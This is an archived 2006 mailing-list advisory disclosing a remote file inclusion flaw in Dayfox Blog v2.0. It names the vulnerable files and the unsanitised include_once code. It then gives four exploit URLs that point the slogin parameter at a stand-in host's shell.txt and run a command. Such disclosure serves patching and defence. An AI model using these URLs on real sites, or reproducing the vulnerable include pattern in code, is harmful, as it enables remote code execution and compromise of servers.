OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Dayfox Blog v2.0 Remote file include

dj_remix_20hotmail.com
Date: Sun Oct 01 2006 - 06:15:10 CDT


# BiyoSecurity.Org

# script name : Dayfox Blog v2.0

# Risk : High

# Regards : Dj ReMix

# Thanks : Korsan , Liz0zim

# Vulnerable files :

adminlog.php
postblog.php
index.php
index2.php

# Vulnerable code :

include_once ($slogin_path . "/slogin_lib.inc.php");
include_once ($slogin_path . "/header.inc.php");

Exploit : http://site.com/[path to script]/edit/adminlog.php?slogin=http://evilsite.com/shell.txt?&cmd=id

http://site.com/[path to script]/edit/index.php?slogin=http://evilsite.com/shell.txt?&cmd=id

http://site.com/[path to script]/edit/index2.php?slogin=http://evilsite.com/shell.txt?&cmd=id

http://site.com/[path to script]/edit/postblog.php?slogin=http://evilsite.com/shell.txt?&cmd=id